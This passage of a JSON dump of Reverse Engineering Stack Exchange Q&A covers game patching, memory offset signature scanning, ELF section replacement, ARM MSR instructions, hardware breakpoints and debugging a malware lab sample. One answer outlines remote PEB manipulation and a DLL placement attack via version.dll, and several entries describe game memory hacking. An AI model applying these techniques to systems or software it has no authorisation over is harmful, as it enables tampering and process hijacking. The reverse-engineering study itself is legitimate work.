Then the usual <code>WriteProcessMemory()</code> method should work to set this value in the remote process.</p>\n<p>You could also try a typical DLL placement attack on <em>some</em> dependency of your target program (e.g. <code>version.dll</code> which isn't a known DLL) and have that loaded DLL do the manipulation of the PEB for you <em>from within the remote process</em>.</p>\n<hr />\n<p>And always keep in mind that in order to do effective reverse engineering, you should first have a firm grasp of <em>forward</em> engineering </p>\n"
    },
    {
        "Id": "14597",
        "CreationDate": "2017-02-07T21:07:14.007",
        "Body": "<p>I am quite new to retro-reverse-engineering, and I am concerned about my current hobby.</p>\n\n<p>Months ago I started to reverse a 19 year old commercial game, no longer on sale (for ages), and not supported (the company has been taken over a decade ago).</p>\n\n<p>The purpose of my work is not to share the reversed code (as I don't produce code but analyse the existing one) but rather to create a small tool to patch the game.</p>\n\n<p>This patcher would not remove the original CD protection, it would only enable modification of features and behavior of the game. On top of that, I am considering sharing the code of this patcher on a public repository on GitHub.</p>\n\n<p>But as I am approaching the end of my work, I am becoming concerned about the legal implications, because it is clearly illegal to modify an .exe when it is proprietary material. On the other hand I saw a lot of equivalent stuff for old games, and as far I know, their creator were not sued.</p>\n\n<p>My question is: in your opinion, is it risky to complete my patcher, and on top of that, to share its code?</p>\n",
        "Title": "Legal risks of retro engineering a 19 years old game",
        "Tags": "|disassembly|assembly|decompilation|",
        "Answer": "<p><em>Disclaimer: IANAL; Best answer would be from a local lawyer with expertise in computer copyrights and laws at the location the owning company is at. If you'll be sued, it'll probably be in a court of their choosing as this is often part of the EULA.</em></p>\n\n<p>However, one distinction I see here is that you don't modify the executable provided as part of the game, you only create a tool that does that. The actual person changing the game is the user of your tool. Abnother consideration though, is that most EULAs forbid reverse engineering, and you might be violating that.</p>\n\n<p>Anyway, this is how I see you approaching this concern:</p>\n\n<h2>Approaching the rights owner</h2>\n\n<p>A way to get an answer for this is by approaching the company (or whoever currently owns rights for the game) and request permission / announce you're about to do that.</p>\n\n<p>Consequences may vary:</p>\n\n<ul>\n<li><p>Some right owners publicly waive some copyright protections of abandoned games, for the enjoyment and modification by the community. If that's the case, you'll be referred to the waiver.</p></li>\n<li><p>If you're given permission, all is well and you're good to go.</p></li>\n<li><p>If you're being ignored for a decent amount of time (say, a month) and later sued, you can argue the company had prior knowledge and choose not to forbid these actions in a timely manner.</p></li>\n<li><p>If you receive an unofficial reply declining granting you the permissions (or the more formal <a href=\"https://en.wikipedia.org/wiki/Cease_and_desist\" rel=\"nofollow noreferrer\">Cease and Desist</a> letter), at least you know where you're at.</p></li>\n</ul>\n\n<h2>Hoping for the best</h2>\n\n<p>If you choose not to approach the rights owner, you can infer potential reactions from past experiences (mostly of other's). <a href=\"https://en.wikipedia.org/wiki/Abandonware\" rel=\"nofollow noreferrer\">Abandonware</a> is indeed something quite common, and you can find games that are as far as fully emulated in web browsers. Investigating what other potential violations the same rights owner had in the past, and how it reacted. Finding other violations of the same game will also be good indicators.</p>\n"
    },
    {
        "Id": "14604",
        "CreationDate": "2017-02-09T05:18:47.407",
        "Body": "<p>I have been doing pointer scans on a game when new versions come out as the structure changes to update memory structure offsets. I decided to attempt to use signature scanning to attempt to make my offsets more durable to changes.</p>\n\n<p>When pointer scanning in the current game version 0x1034EF8 is the offset I am trying to get. I attached a debugger and funtions that read from this address and came up with a pattern that is unique. When I do the pattern scan this pattern is found and returned as expected. </p>\n\n<p>Where I am stuck at is turning this assembly instruction memory address 461EE300 into this offset 0x1034EF8. Cheat engine is able to do such a thing so it must be possible, the following was copy and pasted from cheat engine and it is showing me game_x64.exe + 1034EF8 for the 461EE300 address.</p>\n\n<p>How can I go about turning 461EE300 into game_x64.exe + 1034EF8 and extracting 1034EF8?</p>\n\n<pre><code>//90 - nop\n//48 83 43 50 F8 - add qword ptr[rbx + 50],-08\n//48 8B 0D 461EE300 - mov rcx,[game_x64.exe + 1034EF8]\n//4C 8B 05 471EE300 - mov r8,[game_x64.exe + 1034F00]\n//49 3B C8 - cmp rcx, r8\npublic static readonly Pattern MyPattern = new Pattern(new byte[]\n{\n0x90,\n0x48, 0x83, 0x43, 0x50, 0xF8,\n0x48, 0x8B, 0x0D, 0x00, 0x00, 0x00, 0x00,\n0x4C, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,\n0x49, 0x3B, 0xC8\n}, \"xxxxxxxxx????xxx????xxx\");\n</code></pre>\n",
        "Title": "How to get pointer from byte code",
        "Tags": "|disassembly|assembly|pointer|",
        "Answer": "<p>It's way simpler than you'd think.\n461EE300 is the relative offset to your variable. The relative offset needs to be added to the rip-register. And you already have the value of the rip-register. It's the address of the pattern you found.</p>\n\n<p>So simply add the address of your pattern with 461EE300 and you have your variable.</p>\n"
    },
    {
        "Id": "14607",
        "CreationDate": "2017-02-09T17:29:28.907",
        "Body": "<p>Is it possible to replace a non-code section inside an ELF file? If so, then how? Is there something I would have to consider before simply replacing the bytes by some other bytes (of course nothing larger)? Maybe some hash or similar?</p>\n\n<p>Note that I'm not interested in modifying code, so the solutions presented in <a href=\"https://reverseengineering.stackexchange.com/questions/1843/what-are-the-available-libraries-to-statically-modify-elf-executables\">What are the available libraries to statically modify ELF executables?</a> is not what I'm looking for, also many solutions there aren't architecture-agnostic.</p>\n\n<p>(BTW, I would require this for a replacing the initrd/initramfs file system embedded into a kernel image [<code>vmlinux.64</code>] which is also an ELF file, see <a href=\"https://unix.stackexchange.com/q/342298/117599\">https://unix.stackexchange.com/q/342298/117599</a>. This question here is supposed to be more in general.)</p>\n",
        "Title": "Replace section inside ELF file",
        "Tags": "|file-format|elf|section|",
        "Answer": "<p>I'm not aware of any ready-made tools for such task, but I suspect in most cases the good old <code>dd</code> will do the task of replacing the actual bytes in the file  (or maybe you can make <code>objcopy</code> work too). What can be more difficult is making the code work with the changed data. This depends on the nature of the data in question. For example:</p>\n\n<ol>\n<li><p>When replacing (patching) code (instructions), you need to be aware of possible relocations pointing into the address range you're replacing  (if the file is relocatable). The loader will apply the relocations without checking that they make sense and that will likely make your code work incorrectly or crash. Same issue applies to data which may be relocated (e.g. tables of pointers).</p></li>\n<li><p>Even if the data you're replacing is not affected by the loader, it might be used in other ways. For your initrd example, <a href=\"http://lxr.free-electrons.com/source/init/initramfs.c\" rel=\"noreferrer\">the code in the kernel</a> makes references to symbols like <code>__initramfs_start</code>, <code>__initramfs_end</code>, whose values may need to be updated to account for the new initrd size. How to do that depends on how the code is using those symbols: are they taken from the ELF symbol table or just embedded in the code (i.e. were resolved at link time)? In the latter case you'll need to find and patch those values in the binary, keeping in mind that they are probably virtual load-time addresses and not file offsets.</p></li>\n<li><p>In case the code is using the ELF sections, you will need to update the section headers to properly point to your data or adjust their size e(some hex editors allow you to edit fields of the ELF headers but in the worst case you'll need to do it manually by patching individual bytes).</p></li>\n</ol>\n"
    },
    {
        "Id": "14609",
        "CreationDate": "2017-02-09T18:13:26.110",
        "Body": "<p>I have following code:</p>\n\n<pre><code>sub rsp, 40                 ; 00000028H\nlea rcx, OFFSET FLAT:$SG4237\ncall    printf\nxor eax, eax\nadd rsp, 40                 ; 00000028H\nret 0\n</code></pre>\n\n<p>Why there is <code>xor eax, eax</code> , instead of <code>xor rax, rax</code>?</p>\n",
        "Title": "xor eax, eax in x64",
        "Tags": "|disassembly|assembly|x86-64|patch-reversing|",
        "Answer": "<p>In x64, any operation on a 32-bit register clears the top 32 bits of the corresponding 64-bit register too, so there's no need to use <code>xor rax, rax</code> which would necessitate an extra REX byte for encoding.</p>\n"
    },
    {
        "Id": "14611",
        "CreationDate": "2017-02-10T00:35:29.507",
        "Body": "<p>I am interested in starting to decode and understand some proprietary network traffic, sent from apps on various devices, such as my TV, game consoles, phones etc.</p>\n\n<p>Most of the things I want to look at, seems to be using UDP to send proprietary protocol traffic.</p>\n\n<p>I've spent some time in Wireshark analyzing traffic, and now the next stage is to attempt modifying messages and looking at results. This is where I have run into trouble. </p>\n\n<p>I attempted to use my Windows laptop as a MitM, bridging my 2 Ethernet connections (one to device and one to router). However, it seemed I was completely unable to spoof traffic from the device. Since UDP is very spoof able, I was not sure what is going wrong.</p>\n\n<p>What is the best way to do this, and is there a framework/toolkit in place to help facilitate this type of research?</p>\n",
        "Title": "Getting started with reversing device network traffic",
        "Tags": "|networking|",
        "Answer": "<p>As shown <a href=\"https://stackoverflow.com/questions/6112913/how-to-recalculate-ip-checksum-with-scapy\">here</a> you can use Scapy to capture and/or spoof packets, while you are doing that make sure you compute checksums right. You can use Wireshark to check headers. Most convenient way is capturing incoming traffic and changing data &amp; checksum value.</p>\n"
    },
    {
        "Id": "14613",
        "CreationDate": "2017-02-10T07:48:37.263",
        "Body": "<p>Is there a way to change hotkey for variable mapping ('=' by default)? For example: I'd like to bind it to 'Shift+Q'.</p>\n",
        "Title": "Variable mapping in IDA hotkey change",
        "Tags": "|ida|ida-plugin|",
        "Answer": "<p>please have a look at the second part of this <a href=\"http://www.hexblog.com/?p=437\" rel=\"nofollow noreferrer\">blog post</a>.</p>\n\n<p>You can either manipulate your <code>shortcuts.cfg</code> or use the <code>Options-&gt;Shortcuts</code> GUI since version 6.2.</p>\n"
    },
    {
        "Id": "14617",
        "CreationDate": "2017-02-10T14:04:06.343",
        "Body": "<p>While reversing a bootloader, i have a lot of msr/mrs instructions, but i cannot find in the arm documentation the meaning of the parameters.</p>\n\n<p>For example in IDA i have things like :</p>\n\n<pre><code>MSR             #4, c6, c0, #4, X0\n</code></pre>\n\n<p>or</p>\n\n<pre><code>MSR             #5, #0\n</code></pre>\n\n<p>Could someone explain how to parse these instructions and point me to the right documentation ?</p>\n\n<p>Maybe there is a script or plugin to automate the process ?</p>\n",
        "Title": "ARM: understanding MSR/MRS instructions",
        "Tags": "|assembly|arm|",
        "Answer": "<p>The presence of X0 and the use of MSR to access a system register tells me that you are on 64-bit ARM / ARMv8.</p>\n\n<p>The reference manual for this architecture can be found <a href=\"https://developer.arm.com/docs/ddi0487/a/arm-architecture-reference-manual-armv8-for-armv8-a-architecture-profile\" rel=\"nofollow noreferrer\" title=\"here\">here</a></p>\n\n<p>Section C6 describes the instructions.  You can find <code>MSR (register)</code> at C6.2.131 and <code>MSR (immediate)</code> at C6.2.130. These both access system control registers.</p>\n\n<p>Section D7 describes the generic ARMv8 system control registers. In D7.2.34 you can find the information that your <code>MSR</code> instruction is accessing the <code>HPFAR_EL2</code> register which contains the \"Hypervisor IPA Fault Address.\"  (see the table at the bottom of the section that shows the values of op0/op1/CRn/Cm/op2 that correspond to this register.)</p>\n\n<p>The two instructions you show above are therefore -</p>\n\n<p><code>MSR HPFAR_EL2, X0</code></p>\n\n<p><code>MSR PSTATEField_SP, #0</code></p>\n"
    },
    {
        "Id": "14618",
        "CreationDate": "2017-02-10T16:23:30.770",
        "Body": "<p>Don't be confused by a title of a question. Here is an explanation.</p>\n\n<p>Let's take Intel Pin. They claim that </p>\n\n<blockquote>\n  <p>The best way to think about Pin is as a \"just in time\" (JIT) compiler.\n  The input to this compiler is not bytecode, however, but a regular\n  executable. Pin intercepts the execution of the first instruction of\n  the executable and generates (\"compiles\") new code for the straight\n  line code sequence starting at this instruction. It then transfers\n  control to the generated sequence.</p>\n</blockquote>\n\n<p>However, software breakpoint (according to Reversing: Secrets of Reverse Engineering by Eldad Eilam) is:</p>\n\n<blockquote>\n  <p>Software breakpoints are instructions added into the program\u2019s code by\n  the debugger at runtime. These instructions make the processor pause\n  program execution and transfer control to the debugger when they are\n  reached during execution.</p>\n</blockquote>\n\n<p>Basically both Intel PIN and e.g. OllyDBG does roughly similar things: altering the execution flow by inserting custom instruction. I know, that with PIN you can do much more then just pause under a certain condition, but it is not the point.</p>\n\n<p>So, my question is what is the key difference between JIT compilation (as in Intel PIN) and Software breakpoints (as in OllyDBG or any other debugger)?</p>\n",
        "Title": "What is the difference between binary instrumentation and software breakpoints?",
        "Tags": "|ollydbg|breakpoint|pintool|",
        "Answer": "<p>Intel Pintool <strong>is not</strong> a JIT compiler. The explanation you quote just uses an analogy to JIT compilation, as there are logical similarities. IMHO this is not a well thought out analogy, and should be taken very lightly.</p>\n<p>I'll explain the three concepts in detail:</p>\n<h2><a href=\"https://en.wikipedia.org/wiki/Just-in-time_compilation\" rel=\"nofollow noreferrer\">JIT Compilation</a></h2>\n<p>Indeed, the concept of JIT compilation is not really relevant to the question, but I'll go over it just the same:</p>\n<p>JIT compilation is mostly used as a performance improvement for interpreted languages, but some more advanced languages use it (examples are .Net and java).</p>\n<p>When a non-compiled code is executed, there's basically a loop processing each bytecode in a sequence (similar to how a Processor executes instructions one after the other). That loop basically implements byte code instructions to CPU instructions, modifying a state context (similar to CPU registers, only usually a lot bigger and higher-level).</p>\n<p>That process is slow compared to CPU instructions, and usually for no good reason - that was how interpreters were designed. Here comes JIT.\nThis is basically saying that instead of implementing a loop processing each bytecode instruction, it is possible for that loop to generate CPU instructions the first time it runs, and just execute those. To simplify things, JIT is a process of translating the language's bytecode to the CPU's instruction set just before executing the code, letting the CPU instructions run instead of the interpreter loop. Usually the compiled code is cached to it won't be compiled again.</p>\n<h2><a href=\"https://en.wikipedia.org/wiki/Breakpoint\" rel=\"nofollow noreferrer\">Software breakpoint</a></h2>\n<p>A software breakpoint is a specific instruction (in x86: <code>int 3</code>, encoded both as <code>0xcc</code> and <code>0xcd0x03</code>) that tells the CPU the user (in CPU terms, this usually means a developer) would like to know whenever it is executed and suspend the execution for further inspection. When it is hit an interrupt handling mechanism it triggered and the execution of the process is suspended by a debugger handling that interrupt. debuggers then usually let the developer inspect the code, modify it, and then resume execution. A debugger sets a software breakpoint by replacing a single instruction (or part of it) with a the software breakpoint interrupt, and sets it back to the original instruction when it later resumes execution.</p>\n<h2><a href=\"https://en.wikipedia.org/wiki/Instrumentation_(computer_programming)\" rel=\"nofollow noreferrer\">Binary Instrumentation</a> (Pintool)</h2>\n<p>With Binary Instrumentation, a tool such as Pintool processes the code within a binary executable (similarly to how a JIT compiler processes a bytecode or script) and creates a &quot;fixedup&quot; or modified executable code, by inserting multiple types of additional code. This is usually done when breakpoints are not enough, or when you want to analyze a lot of an executable. Examples include modifying all <code>jump</code> instructions (say, to log the source and target of all  jumps, for example).</p>\n<p>As you said software breakpoints are quite limited compared to the abilities a binary instrumentation engine provides, so I focused on the technical implementation rather than the advantages of the two.</p>\n"
    },
    {
        "Id": "14635",
        "CreationDate": "2017-02-12T12:46:33.200",
        "Body": "<p>I am currently working on a old 90's video game to try to correct/modify unrealistic behaviors. </p>\n\n<p>I managed to almost complete my list, but it remains my main objective...</p>\n\n<p>It is a management game, and if you are a poor manager, your boss simply fire you, sometimes for debatable reasons. I found where the \"You are fired\" pannel is launched, but I have some difficulties to understand the mecanism. Could someone help me to understand the below code?</p>\n\n<p>Note that according to IDA it is a 16 bits application.</p>\n\n<pre><code>    mov     eax, dword_5F94E0  // copy the content of dword in eax\n    mov     ecx, eax // copy eax in ecx\n    lea     edx, [eax+eax*4] // ??\n    lea     eax, [edx+edx*8] // ??\n    shl     eax, 8 // ??\n    add     eax, ecx // add ecx to eax\n    lea     edx, [eax+eax*2] // ??\n    mov     eax, dword_9FB922[ecx+edx*2] // ??\n    lea     ecx, dword_9ECB20[ecx+edx*2] // ??\n    sub     eax, 2C5h // remove 709 from eax\n    cmp     eax, 0Dh // compare eax to 13\n    ja      short loc_42D480 // jump if eax &gt; 13 (not fired) else fired\n</code></pre>\n\n<p>I know there is the easy way to change the behavior of the last line.But it seems it is more complicated: doing so only prevent the \"You are fired\" panel to be displayed, but you are still sacked.</p>\n",
        "Title": "Help to understand some assembly code",
        "Tags": "|disassembly|assembly|",
        "Answer": "<pre><code>mov     eax, dword_5F94E0  // copy the content of dword in eax\nmov     ecx, eax // copy eax in ecx\nlea     edx, [eax+eax*4] // ??\n</code></pre>\n\n<p>edx=eax*5</p>\n\n<pre><code>lea     eax, [edx+edx*8] // ??\n</code></pre>\n\n<p>eax=edx*9, i.e. the dword_5F94E0*5*9</p>\n\n<pre><code>shl     eax, 8 // ??\n</code></pre>\n\n<p>eax=eax*256, i.e. the dword_5F94E0*5*9*256</p>\n\n<pre><code>add     eax, ecx // add ecx to eax\n</code></pre>\n\n<p>eax=new eax+dword_5F94E0, i.e. the dword_5F94E0*5*9*256+dword_5F94E0</p>\n\n<p>i.e. dword_5F94E0*11521</p>\n\n<pre><code>lea     edx, [eax+eax*2] // ??\n</code></pre>\n\n<p>edx=eax*3, i.e. dword_5F94E0*11521*3</p>\n\n<pre><code>mov     eax, dword_9FB922[ecx+edx*2] // ??\n</code></pre>\n\n<p>eax=value from array[dword_5F94E0+dword_5F94E0*11521*3*2]</p>\n\n<p>i.e. eax=value from array[dword_5F94E0*69127]</p>\n\n<pre><code>lea     ecx, dword_9ECB20[ecx+edx*2] // ??\n</code></pre>\n\n<p>irrelevant for this purpose</p>\n\n<pre><code>sub     eax, 2C5h // remove 709 from eax\ncmp     eax, 0Dh // compare eax to 13\nja      short loc_42D480 // jump if eax &gt; 13 (not fired) else fired\n</code></pre>\n\n<p>So that's a really large array that is being queried to fetch a small value.</p>\n\n<p>However, the most interesting part would be to look in that array to see which indices match the value of 0x2C5+0x0D, since they trigger the \"fired\" code path.</p>\n\n<p>Given those, you can work out what value in dword_5F94E0 would access each of those indices, by dividing the index by 69127.</p>\n\n<p>From there, you can search the rest of the code for writes to dword_5F94E0 with those values.  Then you will have the events that are interesting.</p>\n\n<p>At that point, you can presumably change the event value to something that won't trigger the \"fired\" code path.</p>\n"
    },
    {
        "Id": "14636",
        "CreationDate": "2017-02-12T14:20:59.793",
        "Body": "<p>How to extract content from NVRAM file? NVRAM type is SPI Serial NOR Flash.\nNVRAM has been copied as mtdblock partition.</p>\n\n<p>An embedded device that run Linux v2.6.18_pro500.</p>\n\n<pre><code>Linux version 2.6.18_pro500 (gcc version 4.2.0 20070126 (prerelease) (MontaVista 4.2.0-2.0.0.custom 2007-02-12) \nProcessor: ARMv6-compatible processor rev 4 (v6b)\n</code></pre>\n\n<p>MTD device contain 8 partitions, nvram mtd7 partition is <code>jffs2</code> filesystem.</p>\n\n<pre><code>/proc/mtd\ndev:    size   erasesize  name\nmtd0: 00020000 00010000 \"U-Boot\"\nmtd1: 00010000 00010000 \"env1\"\nmtd2: 00010000 00010000 \"env2\"\nmtd3: 007b0000 00010000 \"UBFI1\"\nmtd4: 007b0000 00010000 \"UBFI2\"\nmtd5: 000c886c 00010000 \"Kernel\"\nmtd6: 00416800 00010000 \"RootFileSystem\"\nmtd7: 00050000 00010000 \"nvram\"\n</code></pre>\n",
        "Title": "How to extract content of NVRAM file?",
        "Tags": "|firmware|linux|embedded|flash|",
        "Answer": "<p>According to <a href=\"https://openwrt.org/docs/techref/bootloader/cfe/changing.defaults#extracting_default_values\" rel=\"nofollow noreferrer\">this page</a>, you can try this command :</p>\n\n<p><code>dd if=/dev/mtdblock/0 bs=1 skip=4116 count=2048 | strings &gt; /tmp/cfe.txt</code></p>\n"
    },
    {
        "Id": "14638",
        "CreationDate": "2017-02-12T22:36:03.180",
        "Body": "<p>I am working on Lab11-03 in &quot;Practical Malware Analysis&quot; book.<br />\nThe malware I am analyzing trojanized the file <code>cisvc.exe</code> which is the indexing service in Windows XP.</p>\n<p>After that the malware start the service by running the command <code>net start cisvc</code>.<br />\nI put a breakpoint before it starts the service:<br />\n<a href=\"https://i.stack.imgur.com/Y4j4c.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Y4j4c.png\" alt=\"enter image description here\" /></a></p>\n<p>I want to debug the service (cisvc.exe).<br />\nI opened it in another instance of OllyDbg but I received an exception:<br />\n<a href=\"https://i.stack.imgur.com/EL2IJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EL2IJ.png\" alt=\"enter image description here\" /></a></p>\n<p>There is an option to attach processes but the serivce it currently stopped.<br />\nI need some way to put a breakpoint in the very beginning of it.</p>\n<p>Any idea how can I do it ?</p>\n",
        "Title": "Can't debug a service",
        "Tags": "|ida|ollydbg|debugging|malware|immunity-debugger|",
        "Answer": "<p>I solved it by using updated version of OllyDbg => OllyDbg 2.01</p>\n\n<p>I also found another reference that provides another way to solve such problem in the future:<br>\n<a href=\"https://reverseengineering.stackexchange.com/questions/2019/debugging-malware-that-will-only-run-as-a-service\">Debugging malware that will only run as a service</a></p>\n"
    },
    {
        "Id": "14646",
        "CreationDate": "2017-02-13T12:41:08.260",
        "Body": "<p>is it possible when performing static analysis with IDA to change the default load address of the module (ie 0x00400000 in most cases depending on PE preferences) ? I think I read a book on IDA 1 year ago which taught me how to, however with googling around and browsing in IDA i didn't find anything.</p>\n",
        "Title": "Relocate load address of main module IDA",
        "Tags": "|ida|",
        "Answer": "<p>Passing confirmed answer from the comment:</p>\n\n<p>See Edit-->Segments-->Rebase program menu item in Ida.\nOnline help on this menu item is <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1408.shtml\" rel=\"noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "14648",
        "CreationDate": "2017-02-13T16:06:10.433",
        "Body": "<p>When setting a hardware breakpoint (<code>DR0</code>...), this stores an address (as far as I can see, it looks like a virtual address). Because addresses are shared between processes (at least in 32 bits this can be the case), how does the processor know which process is affected in order to raise the exception? Does this have any implications in a multiprocessor environment?</p>\n\n<p>I know <code>DR7</code> flags if the bp has global (all tasks) or local (current task only) relevance, but I cannot see how the processor knows when to raise the exception since I can set a hw bp at <code>410123</code> for my current pid (task), and other pids might use the same address too.</p>\n",
        "Title": "How does the processor distinguishes processes wrt HW bps?",
        "Tags": "|debugging|breakpoint|",
        "Answer": "<p>The various bits in the <a href=\"https://en.wikipedia.org/wiki/X86_debug_register#DR7_-_Debug_control\" rel=\"nofollow noreferrer\"><code>DR7</code></a> (debug control) register determines the applicability of the hardware breakpoint in question. Such breakpoints can be local or global. </p>\n\n<p>Global breakpoint, as its name suggests affects all tasks. Local breakpoint are specific to the currently executing task. For the Intel Architecture, <em>local breakpoint enable flag</em> bits in the DR7 are cleared on every task switch. Global breakpoint are preserved on task switches.</p>\n\n<p>In Windows, you can only set local hardware breakpoints from user mode.</p>\n\n<p>Now, as per intel documentation local hardware breakpoints are cleared on task switch. So how does local hardware breakpoints work ?</p>\n\n<p>Hardware breakpoints work and fire on the correct process because Windows does not use the <a href=\"https://en.wikipedia.org/wiki/Context_switch#Hardware_vs._software\" rel=\"nofollow noreferrer\">hardware task state switching</a> machinery available in the processor. Windows has its own mechanism for context switch. During a context switch, the kernel creates a special structure called the <a href=\"http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/ktrap_frame.htm\" rel=\"nofollow noreferrer\"><code>TRAP_FRAME</code></a> to store information about the debug registers along with other things. The <code>TRAP_FRAME</code> is a part of the thread's complete context.</p>\n\n<p>When the thread is re-scheduled for execution, Windows restores the saved context and with this hardware breakpoints are restored too.</p>\n\n<p>Hence, the processor can never distinguish between a local hardware breakpoint in Process A and Process B. All it sees is a single task executing on each processor. The responsibility of restoring local hardware breakpoints across various processes lies with Windows. </p>\n\n<hr>\n\n<p><strong>Replies to the comments</strong></p>\n\n<p>(1) On Windows, hardware breakpoints are thread specific. This means if you set a hwbp on an address from a particular thread, the breakpoint will only be triggered when the thread executes/reads/writes that particular address. <strong>HWBP are never process wide</strong>. Hence, thread2 will never break for a hwbp set from thread1.</p>\n\n<p>(2) The situation is same for Linux. However, it is most likely different for iOS as it runs on a different architecture i.e ARM and not x86.</p>\n"
    },
    {
        "Id": "14649",
        "CreationDate": "2017-02-13T23:46:46.630",
        "Body": "<p>Is there a way, as ollydbg provides, to run untill user code (programmer code) with IDA PRO ?\nYou can do that in several ways in olly, like setting a breakpoint on the .text section of main module.</p>\n",
        "Title": "Run to user code in IDA",
        "Tags": "|ida|",
        "Answer": "<p>The answer to this question is that IDA provides the exact same option :\nOpen the segment view subwindow and set a breakpoint on a memory region.\nWhenever non-library code (thanks to a comment on question for rephrasing with more accuracy what i meant) is hit, the debugger will break. Very usefull for instance for resuming after user input or IPC WM_COPYDATA procedure calls.</p>\n"
    },
    {
        "Id": "14650",
        "CreationDate": "2017-02-14T03:45:02.390",
        "Body": "<p>For the following example, using x86 code in AT&amp;T format:</p>\n\n<pre><code>xor $0x20, (%eax) \nand $0x20, %ah \nor $0x20, %dh \ndec (%edi) \ndec %si\ndec %sp\ndec %bp\n</code></pre>\n\n<p>My understanding:</p>\n\n<pre><code>Line 1: takes value in %eax and does an XOR operation with 0x20\n\nLine 2: takes value in %ah and dies an AND operation with 0x20\n\nLine 3:  takes value in %dh and does an OR operation with 0x20.\n\nLine 4: decrements value in %edi by 1\n\nLine 5: decrements value in %si by 1\n\nLine 6: decrements value in %sp by 1\n\nLine 7: decrements value in %bp by 1\n</code></pre>\n\n<p>Questions: </p>\n\n<ol>\n<li><p>What happens to the result after each step of code has been run?</p></li>\n<li><p>Does the order of the operands matter? If yes why?</p></li>\n<li><p>How do you construct some equivalent code (e.g. decompile into c++) from this assembly code?</p></li>\n</ol>\n\n<p>This is not a homework question - I am new to assembly.\nExample code is not from actual code - it's to help me get a better understanding &amp; illustrate my questions. </p>\n",
        "Title": "3 questions on assembly - syntax, meaning, and equivalent in high level code (eg C++)",
        "Tags": "|assembly|decompilation|binary|",
        "Answer": "<p>To answer your third question, from a computer science aspect c++ or any other highlevel language that isn't one to one mnemonic map of machine opcodes; soul purpose is to mitigate complexity. That being said c++ we can infer isn't or shouldn't be a 1 to 1 map to assembly. Some c syntax can't be exactly mapped. </p>\n\n<p>For example a jump statement progresses the code to any other byte. So a jump can act like a conditional branch or a function call, etc. All very different statements in c++ yet they use the key part, jump instruction. </p>\n\n<p>I think a better approach would be to ask how a c++ basic statements compile to assembly. If you understand and know thoughs it then is a simple thing to find those blocks in assembly.</p>\n\n<p><strong>note</strong> In modern setting most high level languages don't compile to x86 assembly but byte code or some operating specific format, often not far from assembly, however different enough that it requires the operating system to run. This is to abstract the underlying hardware so software doesn't have to get recompiled.</p>\n"
    },
    {
        "Id": "14657",
        "CreationDate": "2017-02-14T19:52:57.687",
        "Body": "<p>I'm new to reverse engineering, I want to find out which command in the Source2 Engine's console invokes which function (and in which DLL). For that, I was wondering how can I know:</p>\n\n<ol>\n<li>which functions are called from which DLL in runtime.</li>\n<li>Is there a debugger that lets me know what code was executed between two timestamps?</li>\n</ol>\n\n<p>Thanks in advance!</p>\n",
        "Title": "Can I know which function from which dll was called at runtime?",
        "Tags": "|dll|functions|",
        "Answer": "<p>This isn't an exact match but a while back I wrote this <a href=\"https://github.com/marshalcraft/CheapoDllDependencyTool/blob/master/CheapoDllDependencyTool/bin/Debug/CheapoDllDependencyTool.exe\" rel=\"nofollow noreferrer\">https://github.com/marshalcraft/CheapoDllDependencyTool/blob/master/CheapoDllDependencyTool/bin/Debug/CheapoDllDependencyTool.exe</a></p>\n\n<p>It's on my GitHub and will list the first generation of dependent DLL's provided an executable or dll. It's pretty basic and can't remember if I list functions or not.</p>\n\n<p>There have to be much better implementations than mine I bet but this minimally works for things like seeing if web browser relies in ws2 WinSock or other things when you want to get an idea of what apis to use to do something.</p>\n"
    },
    {
        "Id": "14665",
        "CreationDate": "2017-02-16T07:13:18.900",
        "Body": "<p>In <a href=\"http://web.uvic.ca/~salam/PhD/Alam_Shahid_PhD_2014.pdf\" rel=\"noreferrer\">Alam</a> you can find the classical differentiation between disassemblers. The author explains in general the two well known types of disassemblers:</p>\n\n<blockquote>\n  <ol>\n  <li><p>The <strong>Linear Sweep</strong> technique starts from the first byte of the code and disassembles one instruction at a time until the end. [...]</p></li>\n  <li><p>The <strong>Recursive Traversal</strong> technique relies on the control flow of the program and decodes the bytes by following the control flow of the\n  program. [...]</p></li>\n  </ol>\n</blockquote>\n\n<p>Afterwards, the author introduces <a href=\"https://github.com/gdabah/distorm/wiki\" rel=\"noreferrer\">distorm</a> and he makes the following statement:</p>\n\n<blockquote>\n  <p>Both techniques have some deficiencies. To overcome these deficiencies\n  <strong>a good disassembler would combine both techniques</strong>. One such open\n  source disassembler, for non-commercial use, is distorm.</p>\n</blockquote>\n\n<p>After reading the docs of <a href=\"https://github.com/gdabah/distorm/wiki\" rel=\"noreferrer\">distorm</a>, I'm not able to confirm this last statement. In my opinion, distorm seems to work like a classic Linear-Sweep version, and also will struggle with fake instructions and obfuscation (see <a href=\"https://github.com/gdabah/distorm/wiki\" rel=\"noreferrer\">1</a>). It calls itself \"stream disassembler\", where I was not able to fully clarify this expression.</p>\n\n<p><strong>With these facts, I have two questions:</strong></p>\n\n<ol>\n<li><p>Is distorm really a combination of linear sweep and recursive\ntraversal as mentioned by the author?</p></li>\n<li><p>What is your formal understanding of a \"stream disassembler\"?</p></li>\n</ol>\n\n<hr>\n\n<p><a href=\"http://web.uvic.ca/~salam/PhD/Alam_Shahid_PhD_2014.pdf\" rel=\"noreferrer\">0</a> Page 47 in Alam, Shahid, et al. \"A framework for metamorphic malware analysis and real-time detection.\" computers &amp; security 48 (2015): 212-233.</p>\n\n<p><a href=\"https://github.com/gdabah/distorm/wiki\" rel=\"noreferrer\">1</a> <a href=\"https://github.com/gdabah/distorm/wiki/StreamDisassembler\" rel=\"noreferrer\">https://github.com/gdabah/distorm/wiki/StreamDisassembler</a></p>\n",
        "Title": "What type of disassembler is distorm?",
        "Tags": "|disassemblers|",
